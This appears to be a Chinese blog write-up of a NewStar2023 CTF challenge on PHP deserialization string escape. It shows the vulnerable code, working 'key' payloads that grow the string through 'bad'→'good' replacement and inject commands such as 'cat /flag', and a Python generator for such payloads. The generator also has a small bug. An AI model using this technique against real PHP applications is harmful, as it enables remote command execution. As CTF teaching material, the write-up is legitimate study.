NewStar2023 week4 逃

文章摘要

Bpple-GPT

NewStar2023 week4 逃

** 反序列化字符串逃逸**


 <?php
 highlight_file(__FILE__);
 function waf($str){
     return str_replace("bad","good",$str);
 }
 
 class GetFlag {
     public $key;
     public $cmd = "whoami";
     public function __construct($key)
     {
         $this->key = $key;
     }
     public function __destruct()
     {
         system($this->cmd);
     }
 }
 
 unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

重点在于:

 function waf($str){
     return str_replace("bad","good",$str);
 }

每次替换字符串增加一

 $a = new GetFlag("123");
 echo serialize($a);
 //O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:6:"whoami";}

查一下flag在不在根目录---";s:3:"cmd";s:4:"ls /";}--->24个字符构造24个bad

 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

image-20241103221851756

最后读取flag

 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
 ?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20241103222440061


 def bad_gen(num):
     return "bad"*num
 
 def calc(str):
     num = 0 
     for i in str2:
         num+=1
     return num
 
 print("------start------")
 arg = input("你需要的参数")
 arg_len = len(arg)
 str2 = f'";s:3:"cmd";s:{arg_len}:"{arg}";'
 str3 = str2 + '}'
 print("原始值:",str3)
 num_need = calc(str3)
 res_bad = bad_gen(num_need)
 payload = res_bad + str3
 print("------最终结果-----")
 print(payload)

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

551
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计